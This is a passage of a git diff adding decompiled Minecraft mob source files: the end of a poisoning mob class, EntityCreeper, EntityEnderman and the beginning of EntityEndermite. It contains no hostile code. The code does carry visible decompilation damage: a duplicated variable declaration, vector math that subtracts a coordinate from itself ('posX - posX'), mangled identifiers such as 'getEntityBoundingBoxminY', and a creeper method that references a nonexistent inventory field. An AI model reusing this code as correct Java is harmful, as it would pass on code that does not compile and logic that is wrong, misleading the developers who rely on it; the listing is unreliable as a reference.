+        
+        if (worldObj.getDifficulty() == EnumDifficulty.NORMAL)
+        {
+          var2 = 7;
+        }
+        else if (worldObj.getDifficulty() == EnumDifficulty.HARD)
+        {
+          var2 = 15;
+        }
+        
+        if (var2 > 0)
+        {
+          ((EntityLivingBase)p_70652_1_).addPotionEffect(new PotionEffect(poisonid, var2 * 20, 0));
+        }
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  public IEntityLivingData func_180482_a(DifficultyInstance p_180482_1_, IEntityLivingData p_180482_2_)
+  {
+    return p_180482_2_;
+  }
+  
+  public float getEyeHeight()
+  {
+    return 0.45F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityCreeper.java b/src/minecraft/net/minecraft/entity/monster/EntityCreeper.java
new file mode 100644
index 0000000..07bc069
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityCreeper.java
@@ -0,0 +1,326 @@
+package net.minecraft.entity.monster;
+
+import com.google.common.base.Predicate;
+import java.util.Random;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIAttackOnCollide;
+import net.minecraft.entity.ai.EntityAIAvoidEntity;
+import net.minecraft.entity.ai.EntityAICreeperSwell;
+import net.minecraft.entity.ai.EntityAIHurtByTarget;
+import net.minecraft.entity.ai.EntityAILookIdle;
+import net.minecraft.entity.ai.EntityAINearestAttackableTarget;
+import net.minecraft.entity.ai.EntityAISwimming;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.effect.EntityLightningBolt;
+import net.minecraft.entity.passive.EntityOcelot;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.DamageSource;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.World;
+
+
+public class EntityCreeper
+  extends EntityMob
+{
+  private int lastActiveTime;
+  private int timeSinceIgnited;
+  private int fuseTime = 30;
+  
+
+  private int explosionRadius = 3;
+  private int field_175494_bm = 0;
+  private static final String __OBFID = "CL_00001684";
+  
+  public EntityCreeper(World worldIn)
+  {
+    super(worldIn);
+    tasks.addTask(1, new EntityAISwimming(this));
+    tasks.addTask(2, new EntityAICreeperSwell(this));
+    tasks.addTask(2, field_175455_a);
+    tasks.addTask(3, new EntityAIAvoidEntity(this, new Predicate()
+    {
+      private static final String __OBFID = "CL_00002224";
+      
+      public boolean func_179958_a(Entity p_179958_1_) {
+        return p_179958_1_ instanceof EntityOcelot;
+      }
+      
+      public boolean apply(Object p_apply_1_) {
+        return func_179958_a((Entity)p_apply_1_);
+      }
+    }, 6.0F, 1.0D, 1.2D));
+    tasks.addTask(4, new EntityAIAttackOnCollide(this, 1.0D, false));
+    tasks.addTask(5, new EntityAIWander(this, 0.8D));
+    tasks.addTask(6, new EntityAIWatchClosest(this, EntityPlayer.class, 8.0F));
+    tasks.addTask(6, new EntityAILookIdle(this));
+    targetTasks.addTask(1, new EntityAINearestAttackableTarget(this, EntityPlayer.class, true));
+    targetTasks.addTask(2, new EntityAIHurtByTarget(this, false, new Class[0]));
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.25D);
+  }
+  
+
+
+
+  public int getMaxFallHeight()
+  {
+    return getAttackTarget() == null ? 3 : 3 + (int)(getHealth() - 1.0F);
+  }
+  
+  public void fall(float distance, float damageMultiplier)
+  {
+    super.fall(distance, damageMultiplier);
+    timeSinceIgnited = ((int)(timeSinceIgnited + distance * 1.5F));
+    
+    if (timeSinceIgnited > fuseTime - 5)
+    {
+      timeSinceIgnited = (fuseTime - 5);
+    }
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, Byte.valueOf((byte)-1));
+    dataWatcher.addObject(17, Byte.valueOf((byte)0));
+    dataWatcher.addObject(18, Byte.valueOf((byte)0));
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    
+    if (dataWatcher.getWatchableObjectByte(17) == 1)
+    {
+      tagCompound.setBoolean("powered", true);
+    }
+    
+    tagCompound.setShort("Fuse", (short)fuseTime);
+    tagCompound.setByte("ExplosionRadius", (byte)explosionRadius);
+    tagCompound.setBoolean("ignited", func_146078_ca());
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    dataWatcher.updateObject(17, Byte.valueOf((byte)(tagCompund.getBoolean("powered") ? 1 : 0)));
+    
+    if (tagCompund.hasKey("Fuse", 99))
+    {
+      fuseTime = tagCompund.getShort("Fuse");
+    }
+    
+    if (tagCompund.hasKey("ExplosionRadius", 99))
+    {
+      explosionRadius = tagCompund.getByte("ExplosionRadius");
+    }
+    
+    if (tagCompund.getBoolean("ignited"))
+    {
+      func_146079_cb();
+    }
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    if (isEntityAlive())
+    {
+      lastActiveTime = timeSinceIgnited;
+      
+      if (func_146078_ca())
+      {
+        setCreeperState(1);
+      }
+      
+      int var1 = getCreeperState();
+      
+      if ((var1 > 0) && (timeSinceIgnited == 0))
+      {
+        playSound("creeper.primed", 1.0F, 0.5F);
+      }
+      
+      timeSinceIgnited += var1;
+      
+      if (timeSinceIgnited < 0)
+      {
+        timeSinceIgnited = 0;
+      }
+      
+      if (timeSinceIgnited >= fuseTime)
+      {
+        timeSinceIgnited = fuseTime;
+        func_146077_cc();
+      }
+    }
+    
+    super.onUpdate();
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.creeper.say";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.creeper.death";
+  }
+  
+
+
+
+  public void onDeath(DamageSource cause)
+  {
+    super.onDeath(cause);
+    
+    if ((cause.getEntity() instanceof EntitySkeleton))
+    {
+      int var2 = Item.getIdFromItem(Items.record_13);
+      int var3 = Item.getIdFromItem(Items.record_wait);
+      int var4 = var2 + rand.nextInt(var3 - var2 + 1);
+      dropItem(Item.getItemById(var4), 1);
+    }
+    else if (((cause.getEntity() instanceof EntityCreeper)) && (cause.getEntity() != this) && (((EntityCreeper)cause.getEntity()).getPowered()) && (((EntityCreeper)cause.getEntity()).isAIEnabled()))
+    {
+      ((EntityCreeper)cause.getEntity()).func_175493_co();
+      entityDropItem(new ItemStack(Items.skull, 1, 4), 0.0F);
+    }
+  }
+  
+  public boolean attackEntityAsMob(Entity p_70652_1_)
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean getPowered()
+  {
+    return dataWatcher.getWatchableObjectByte(17) == 1;
+  }
+  
+
+
+
+  public float getCreeperFlashIntensity(float p_70831_1_)
+  {
+    return (lastActiveTime + (timeSinceIgnited - lastActiveTime) * p_70831_1_) / (fuseTime - 2);
+  }
+  
+  protected Item getDropItem()
+  {
+    return Items.gunpowder;
+  }
+  
+
+
+
+  public int getCreeperState()
+  {
+    return dataWatcher.getWatchableObjectByte(16);
+  }
+  
+
+
+
+  public void setCreeperState(int p_70829_1_)
+  {
+    dataWatcher.updateObject(16, Byte.valueOf((byte)p_70829_1_));
+  }
+  
+
+
+
+  public void onStruckByLightning(EntityLightningBolt lightningBolt)
+  {
+    super.onStruckByLightning(lightningBolt);
+    dataWatcher.updateObject(17, Byte.valueOf((byte)1));
+  }
+  
+
+
+
+  protected boolean interact(EntityPlayer p_70085_1_)
+  {
+    ItemStack var2 = inventory.getCurrentItem();
+    
+    if ((var2 != null) && (var2.getItem() == Items.flint_and_steel))
+    {
+      worldObj.playSoundEffect(posX + 0.5D, posY + 0.5D, posZ + 0.5D, "fire.ignite", 1.0F, rand.nextFloat() * 0.4F + 0.8F);
+      p_70085_1_.swingItem();
+      
+      if (!worldObj.isRemote)
+      {
+        func_146079_cb();
+        var2.damageItem(1, p_70085_1_);
+        return true;
+      }
+    }
+    
+    return super.interact(p_70085_1_);
+  }
+  
+  private void func_146077_cc()
+  {
+    if (!worldObj.isRemote)
+    {
+      boolean var1 = worldObj.getGameRules().getGameRuleBooleanValue("mobGriefing");
+      float var2 = getPowered() ? 2.0F : 1.0F;
+      worldObj.createExplosion(this, posX, posY, posZ, explosionRadius * var2, var1);
+      setDead();
+    }
+  }
+  
+  public boolean func_146078_ca()
+  {
+    return dataWatcher.getWatchableObjectByte(18) != 0;
+  }
+  
+  public void func_146079_cb()
+  {
+    dataWatcher.updateObject(18, Byte.valueOf((byte)1));
+  }
+  
+
+
+
+  public boolean isAIEnabled()
+  {
+    return (field_175494_bm < 1) && (worldObj.getGameRules().getGameRuleBooleanValue("doMobLoot"));
+  }
+  
+  public void func_175493_co()
+  {
+    field_175494_bm += 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityEnderman.java b/src/minecraft/net/minecraft/entity/monster/EntityEnderman.java
new file mode 100644
index 0000000..68af6a8
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityEnderman.java
@@ -0,0 +1,605 @@
+package net.minecraft.entity.monster;
+
+import java.util.Collections;
+import java.util.List;
+import java.util.Random;
+import java.util.Set;
+import java.util.UUID;
+import net.minecraft.block.Block;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIAttackOnCollide;
+import net.minecraft.entity.ai.EntityAIBase;
+import net.minecraft.entity.ai.EntityAINearestAttackableTarget;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.server.management.ItemInWorldManager;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EntityDamageSource;
+import net.minecraft.util.EntityDamageSourceIndirect;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.GameRules;
+import net.minecraft.world.World;
+
+public class EntityEnderman extends EntityMob
+{
+  private static final UUID attackingSpeedBoostModifierUUID = UUID.fromString("020E0DFB-87AE-4653-9556-831010E291A0");
+  private static final AttributeModifier attackingSpeedBoostModifier = new AttributeModifier(attackingSpeedBoostModifierUUID, "Attacking speed boost", 0.15000000596046448D, 0).setSaved(false);
+  private static final Set carriableBlocks = com.google.common.collect.Sets.newIdentityHashSet();
+  private boolean isAggressive;
+  private static final String __OBFID = "CL_00001685";
+  
+  public EntityEnderman(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.6F, 2.9F);
+    stepHeight = 1.0F;
+    tasks.addTask(0, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(2, new EntityAIAttackOnCollide(this, 1.0D, false));
+    tasks.addTask(7, new EntityAIWander(this, 1.0D));
+    tasks.addTask(8, new EntityAIWatchClosest(this, EntityPlayer.class, 8.0F));
+    tasks.addTask(8, new net.minecraft.entity.ai.EntityAILookIdle(this));
+    tasks.addTask(10, new AIPlaceBlock());
+    tasks.addTask(11, new AITakeBlock());
+    targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAIHurtByTarget(this, false, new Class[0]));
+    targetTasks.addTask(2, new AIFindPlayer());
+    targetTasks.addTask(3, new EntityAINearestAttackableTarget(this, EntityEndermite.class, 10, true, false, new com.google.common.base.Predicate()
+    {
+      private static final String __OBFID = "CL_00002223";
+      
+      public boolean func_179948_a(EntityEndermite p_179948_1_) {
+        return p_179948_1_.isSpawnedByPlayer();
+      }
+      
+      public boolean apply(Object p_apply_1_) {
+        return func_179948_a((EntityEndermite)p_apply_1_);
+      }
+    }));
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(40.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.30000001192092896D);
+    getEntityAttribute(SharedMonsterAttributes.attackDamage).setBaseValue(7.0D);
+    getEntityAttribute(SharedMonsterAttributes.followRange).setBaseValue(64.0D);
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, new Short((short)0));
+    dataWatcher.addObject(17, new Byte((byte)0));
+    dataWatcher.addObject(18, new Byte((byte)0));
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    IBlockState var2 = func_175489_ck();
+    tagCompound.setShort("carried", (short)Block.getIdFromBlock(var2.getBlock()));
+    tagCompound.setShort("carriedData", (short)var2.getBlock().getMetaFromState(var2));
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    IBlockState var2;
+    IBlockState var2;
+    if (tagCompund.hasKey("carried", 8))
+    {
+      var2 = Block.getBlockFromName(tagCompund.getString("carried")).getStateFromMeta(tagCompund.getShort("carriedData") & 0xFFFF);
+    }
+    else
+    {
+      var2 = Block.getBlockById(tagCompund.getShort("carried")).getStateFromMeta(tagCompund.getShort("carriedData") & 0xFFFF);
+    }
+    
+    func_175490_a(var2);
+  }
+  
+
+
+
+  private boolean shouldAttackPlayer(EntityPlayer p_70821_1_)
+  {
+    ItemStack var2 = inventory.armorInventory[3];
+    
+    if ((var2 != null) && (var2.getItem() == Item.getItemFromBlock(Blocks.pumpkin)))
+    {
+      return false;
+    }
+    
+
+    Vec3 var3 = p_70821_1_.getLook(1.0F).normalize();
+    Vec3 var4 = new Vec3(posX - posX, getEntityBoundingBoxminY + height / 2.0F - (posY + p_70821_1_.getEyeHeight()), posZ - posZ);
+    double var5 = var4.lengthVector();
+    var4 = var4.normalize();
+    double var7 = var3.dotProduct(var4);
+    return var7 > 1.0D - 0.025D / var5 ? p_70821_1_.canEntityBeSeen(this) : false;
+  }
+  
+
+  public float getEyeHeight()
+  {
+    return 2.55F;
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    if (worldObj.isRemote)
+    {
+      for (int var1 = 0; var1 < 2; var1++)
+      {
+        worldObj.spawnParticle(EnumParticleTypes.PORTAL, posX + (rand.nextDouble() - 0.5D) * width, posY + rand.nextDouble() * height - 0.25D, posZ + (rand.nextDouble() - 0.5D) * width, (rand.nextDouble() - 0.5D) * 2.0D, -rand.nextDouble(), (rand.nextDouble() - 0.5D) * 2.0D, new int[0]);
+      }
+    }
+    
+    isJumping = false;
+    super.onLivingUpdate();
+  }
+  
+  protected void updateAITasks()
+  {
+    if (isWet())
+    {
+      attackEntityFrom(DamageSource.drown, 1.0F);
+    }
+    
+    if ((isScreaming()) && (!isAggressive) && (rand.nextInt(100) == 0))
+    {
+      setScreaming(false);
+    }
+    
+    if (worldObj.isDaytime())
+    {
+      float var1 = getBrightness(1.0F);
+      
+      if ((var1 > 0.5F) && (worldObj.isAgainstSky(new BlockPos(this))) && (rand.nextFloat() * 30.0F < (var1 - 0.4F) * 2.0F))
+      {
+        setAttackTarget(null);
+        setScreaming(false);
+        isAggressive = false;
+        teleportRandomly();
+      }
+    }
+    
+    super.updateAITasks();
+  }
+  
+
+
+
+  protected boolean teleportRandomly()
+  {
+    double var1 = posX + (rand.nextDouble() - 0.5D) * 64.0D;
+    double var3 = posY + (rand.nextInt(64) - 32);
+    double var5 = posZ + (rand.nextDouble() - 0.5D) * 64.0D;
+    return teleportTo(var1, var3, var5);
+  }
+  
+
+
+
+  protected boolean teleportToEntity(Entity p_70816_1_)
+  {
+    Vec3 var2 = new Vec3(posX - posX, getEntityBoundingBoxminY + height / 2.0F - posY + p_70816_1_.getEyeHeight(), posZ - posZ);
+    var2 = var2.normalize();
+    double var3 = 16.0D;
+    double var5 = posX + (rand.nextDouble() - 0.5D) * 8.0D - xCoord * var3;
+    double var7 = posY + (rand.nextInt(16) - 8) - yCoord * var3;
+    double var9 = posZ + (rand.nextDouble() - 0.5D) * 8.0D - zCoord * var3;
+    return teleportTo(var5, var7, var9);
+  }
+  
+
+
+
+  protected boolean teleportTo(double p_70825_1_, double p_70825_3_, double p_70825_5_)
+  {
+    double var7 = posX;
+    double var9 = posY;
+    double var11 = posZ;
+    posX = p_70825_1_;
+    posY = p_70825_3_;
+    posZ = p_70825_5_;
+    boolean var13 = false;
+    BlockPos var14 = new BlockPos(posX, posY, posZ);
+    
+    if (worldObj.isBlockLoaded(var14))
+    {
+      boolean var15 = false;
+      
+      while ((!var15) && (var14.getY() > 0))
+      {
+        BlockPos var16 = var14.offsetDown();
+        Block var17 = worldObj.getBlockState(var16).getBlock();
+        
+        if (var17.getMaterial().blocksMovement())
+        {
+          var15 = true;
+        }
+        else
+        {
+          posY -= 1.0D;
+          var14 = var16;
+        }
+      }
+      
+      if (var15)
+      {
+        super.setPositionAndUpdate(posX, posY, posZ);
+        
+        if ((worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox()).isEmpty()) && (!worldObj.isAnyLiquid(getEntityBoundingBox())))
+        {
+          var13 = true;
+        }
+      }
+    }
+    
+    if (!var13)
+    {
+      setPosition(var7, var9, var11);
+      return false;
+    }
+    
+
+    short var28 = 128;
+    
+    for (int var29 = 0; var29 < var28; var29++)
+    {
+      double var30 = var29 / (var28 - 1.0D);
+      float var19 = (rand.nextFloat() - 0.5F) * 0.2F;
+      float var20 = (rand.nextFloat() - 0.5F) * 0.2F;
+      float var21 = (rand.nextFloat() - 0.5F) * 0.2F;
+      double var22 = var7 + (posX - var7) * var30 + (rand.nextDouble() - 0.5D) * width * 2.0D;
+      double var24 = var9 + (posY - var9) * var30 + rand.nextDouble() * height;
+      double var26 = var11 + (posZ - var11) * var30 + (rand.nextDouble() - 0.5D) * width * 2.0D;
+      worldObj.spawnParticle(EnumParticleTypes.PORTAL, var22, var24, var26, var19, var20, var21, new int[0]);
+    }
+    
+    worldObj.playSoundEffect(var7, var9, var11, "mob.endermen.portal", 1.0F, 1.0F);
+    playSound("mob.endermen.portal", 1.0F, 1.0F);
+    return true;
+  }
+  
+
+
+
+
+  protected String getLivingSound()
+  {
+    return isScreaming() ? "mob.endermen.scream" : "mob.endermen.idle";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.endermen.hit";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.endermen.death";
+  }
+  
+  protected Item getDropItem()
+  {
+    return net.minecraft.init.Items.ender_pearl;
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    Item var3 = getDropItem();
+    
+    if (var3 != null)
+    {
+      int var4 = rand.nextInt(2 + p_70628_2_);
+      
+      for (int var5 = 0; var5 < var4; var5++)
+      {
+        dropItem(var3, 1);
+      }
+    }
+  }
+  
+  public void func_175490_a(IBlockState p_175490_1_)
+  {
+    dataWatcher.updateObject(16, Short.valueOf((short)(Block.getStateId(p_175490_1_) & 0xFFFF)));
+  }
+  
+  public IBlockState func_175489_ck()
+  {
+    return Block.getStateById(dataWatcher.getWatchableObjectShort(16) & 0xFFFF);
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    
+
+    if ((source.getEntity() == null) || (!(source.getEntity() instanceof EntityEndermite)))
+    {
+      if (!worldObj.isRemote)
+      {
+        setScreaming(true);
+      }
+      
+      if (((source instanceof EntityDamageSource)) && ((source.getEntity() instanceof EntityPlayer)))
+      {
+        if (((source.getEntity() instanceof EntityPlayerMP)) && (getEntitytheItemInWorldManager.isCreative()))
+        {
+          setScreaming(false);
+        }
+        else
+        {
+          isAggressive = true;
+        }
+      }
+      
+      if ((source instanceof EntityDamageSourceIndirect))
+      {
+        isAggressive = false;
+        
+        for (int var4 = 0; var4 < 64; var4++)
+        {
+          if (teleportRandomly())
+          {
+            return true;
+          }
+        }
+        
+        return false;
+      }
+    }
+    
+    boolean var3 = super.attackEntityFrom(source, amount);
+    
+    if ((source.isUnblockable()) && (rand.nextInt(10) != 0))
+    {
+      teleportRandomly();
+    }
+    
+    return var3;
+  }
+  
+
+  public boolean isScreaming()
+  {
+    return dataWatcher.getWatchableObjectByte(18) > 0;
+  }
+  
+  public void setScreaming(boolean p_70819_1_)
+  {
+    dataWatcher.updateObject(18, Byte.valueOf((byte)(p_70819_1_ ? 1 : 0)));
+  }
+  
+  static
+  {
+    carriableBlocks.add(Blocks.grass);
+    carriableBlocks.add(Blocks.dirt);
+    carriableBlocks.add(Blocks.sand);
+    carriableBlocks.add(Blocks.gravel);
+    carriableBlocks.add(Blocks.yellow_flower);
+    carriableBlocks.add(Blocks.red_flower);
+    carriableBlocks.add(Blocks.brown_mushroom);
+    carriableBlocks.add(Blocks.red_mushroom);
+    carriableBlocks.add(Blocks.tnt);
+    carriableBlocks.add(Blocks.cactus);
+    carriableBlocks.add(Blocks.clay);
+    carriableBlocks.add(Blocks.pumpkin);
+    carriableBlocks.add(Blocks.melon_block);
+    carriableBlocks.add(Blocks.mycelium);
+  }
+  
+  class AIFindPlayer extends EntityAINearestAttackableTarget
+  {
+    private EntityPlayer field_179448_g;
+    private int field_179450_h;
+    private int field_179451_i;
+    private EntityEnderman field_179449_j = EntityEnderman.this;
+    private static final String __OBFID = "CL_00002221";
+    
+    public AIFindPlayer()
+    {
+      super(EntityPlayer.class, true);
+    }
+    
+    public boolean shouldExecute()
+    {
+      double var1 = getTargetDistance();
+      List var3 = taskOwner.worldObj.func_175647_a(EntityPlayer.class, taskOwner.getEntityBoundingBox().expand(var1, 4.0D, var1), targetEntitySelector);
+      Collections.sort(var3, theNearestAttackableTargetSorter);
+      
+      if (var3.isEmpty())
+      {
+        return false;
+      }
+      
+
+      field_179448_g = ((EntityPlayer)var3.get(0));
+      return true;
+    }
+    
+
+    public void startExecuting()
+    {
+      field_179450_h = 5;
+      field_179451_i = 0;
+    }
+    
+    public void resetTask()
+    {
+      field_179448_g = null;
+      field_179449_j.setScreaming(false);
+      IAttributeInstance var1 = field_179449_j.getEntityAttribute(SharedMonsterAttributes.movementSpeed);
+      var1.removeModifier(EntityEnderman.attackingSpeedBoostModifier);
+      super.resetTask();
+    }
+    
+    public boolean continueExecuting()
+    {
+      if (field_179448_g != null)
+      {
+        if (!field_179449_j.shouldAttackPlayer(field_179448_g))
+        {
+          return false;
+        }
+        
+
+        field_179449_j.isAggressive = true;
+        field_179449_j.faceEntity(field_179448_g, 10.0F, 10.0F);
+        return true;
+      }
+      
+
+
+      return super.continueExecuting();
+    }
+    
+
+    public void updateTask()
+    {
+      if (field_179448_g != null)
+      {
+        if (--field_179450_h <= 0)
+        {
+          targetEntity = field_179448_g;
+          field_179448_g = null;
+          super.startExecuting();
+          field_179449_j.playSound("mob.endermen.stare", 1.0F, 1.0F);
+          field_179449_j.setScreaming(true);
+          IAttributeInstance var1 = field_179449_j.getEntityAttribute(SharedMonsterAttributes.movementSpeed);
+          var1.applyModifier(EntityEnderman.attackingSpeedBoostModifier);
+        }
+      }
+      else
+      {
+        if (targetEntity != null)
+        {
+          if (((targetEntity instanceof EntityPlayer)) && (field_179449_j.shouldAttackPlayer((EntityPlayer)targetEntity)))
+          {
+            if (targetEntity.getDistanceSqToEntity(field_179449_j) < 16.0D)
+            {
+              field_179449_j.teleportRandomly();
+            }
+            
+            field_179451_i = 0;
+          }
+          else if ((targetEntity.getDistanceSqToEntity(field_179449_j) > 256.0D) && (field_179451_i++ >= 30) && (field_179449_j.teleportToEntity(targetEntity)))
+          {
+            field_179451_i = 0;
+          }
+        }
+        
+        super.updateTask();
+      }
+    }
+  }
+  
+  class AIPlaceBlock extends EntityAIBase
+  {
+    private EntityEnderman field_179475_a = EntityEnderman.this;
+    private static final String __OBFID = "CL_00002222";
+    
+    AIPlaceBlock() {}
+    
+    public boolean shouldExecute() { return field_179475_a.worldObj.getGameRules().getGameRuleBooleanValue("mobGriefing"); }
+    
+
+    public void updateTask()
+    {
+      Random var1 = field_179475_a.getRNG();
+      World var2 = field_179475_a.worldObj;
+      int var3 = MathHelper.floor_double(field_179475_a.posX - 1.0D + var1.nextDouble() * 2.0D);
+      int var4 = MathHelper.floor_double(field_179475_a.posY + var1.nextDouble() * 2.0D);
+      int var5 = MathHelper.floor_double(field_179475_a.posZ - 1.0D + var1.nextDouble() * 2.0D);
+      BlockPos var6 = new BlockPos(var3, var4, var5);
+      Block var7 = var2.getBlockState(var6).getBlock();
+      Block var8 = var2.getBlockState(var6.offsetDown()).getBlock();
+      
+      if (func_179474_a(var2, var6, field_179475_a.func_175489_ck().getBlock(), var7, var8))
+      {
+        var2.setBlockState(var6, field_179475_a.func_175489_ck(), 3);
+        field_179475_a.func_175490_a(Blocks.air.getDefaultState());
+      }
+    }
+    
+    private boolean func_179474_a(World worldIn, BlockPos p_179474_2_, Block p_179474_3_, Block p_179474_4_, Block p_179474_5_)
+    {
+      return p_179474_5_.getMaterial() == Material.air ? false : p_179474_4_.getMaterial() != Material.air ? false : !p_179474_3_.canPlaceBlockAt(worldIn, p_179474_2_) ? false : p_179474_5_.isFullCube();
+    }
+  }
+  
+  class AITakeBlock extends EntityAIBase
+  {
+    private EntityEnderman field_179473_a = EntityEnderman.this;
+    private static final String __OBFID = "CL_00002220";
+    
+    AITakeBlock() {}
+    
+    public boolean shouldExecute() { return field_179473_a.worldObj.getGameRules().getGameRuleBooleanValue("mobGriefing"); }
+    
+
+    public void updateTask()
+    {
+      Random var1 = field_179473_a.getRNG();
+      World var2 = field_179473_a.worldObj;
+      int var3 = MathHelper.floor_double(field_179473_a.posX - 2.0D + var1.nextDouble() * 4.0D);
+      int var4 = MathHelper.floor_double(field_179473_a.posY + var1.nextDouble() * 3.0D);
+      int var5 = MathHelper.floor_double(field_179473_a.posZ - 2.0D + var1.nextDouble() * 4.0D);
+      BlockPos var6 = new BlockPos(var3, var4, var5);
+      IBlockState var7 = var2.getBlockState(var6);
+      Block var8 = var7.getBlock();
+      
+      if (EntityEnderman.carriableBlocks.contains(var8))
+      {
+        field_179473_a.func_175490_a(var7);
+        var2.setBlockState(var6, Blocks.air.getDefaultState());
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityEndermite.java b/src/minecraft/net/minecraft/entity/monster/EntityEndermite.java
new file mode 100644
index 0000000..b098f04
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityEndermite.java
@@ -0,0 +1,195 @@
+package net.minecraft.entity.monster;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.entity.EnumCreatureAttribute;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIAttackOnCollide;
+import net.minecraft.entity.ai.EntityAIHurtByTarget;
+import net.minecraft.entity.ai.EntityAILookIdle;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public class EntityEndermite extends EntityMob
+{
+  private int lifetime = 0;
+  private boolean playerSpawned = false;
+  private static final String __OBFID = "CL_00002219";
+  
+  public EntityEndermite(World worldIn)
+  {
+    super(worldIn);
+    experienceValue = 3;
+    setSize(0.4F, 0.3F);
+    tasks.addTask(1, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(2, new EntityAIAttackOnCollide(this, EntityPlayer.class, 1.0D, false));
+    tasks.addTask(3, new EntityAIWander(this, 1.0D));
+    tasks.addTask(7, new EntityAIWatchClosest(this, EntityPlayer.class, 8.0F));
+    tasks.addTask(8, new EntityAILookIdle(this));
+    targetTasks.addTask(1, new EntityAIHurtByTarget(this, true, new Class[0]));
+    targetTasks.addTask(2, new net.minecraft.entity.ai.EntityAINearestAttackableTarget(this, EntityPlayer.class, true));
+  }
+  
+  public float getEyeHeight()
+  {
+    return 0.1F;
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(8.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.25D);
+    getEntityAttribute(SharedMonsterAttributes.attackDamage).setBaseValue(2.0D);
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.silverfish.say";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.silverfish.hit";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.silverfish.kill";
+  }
+  
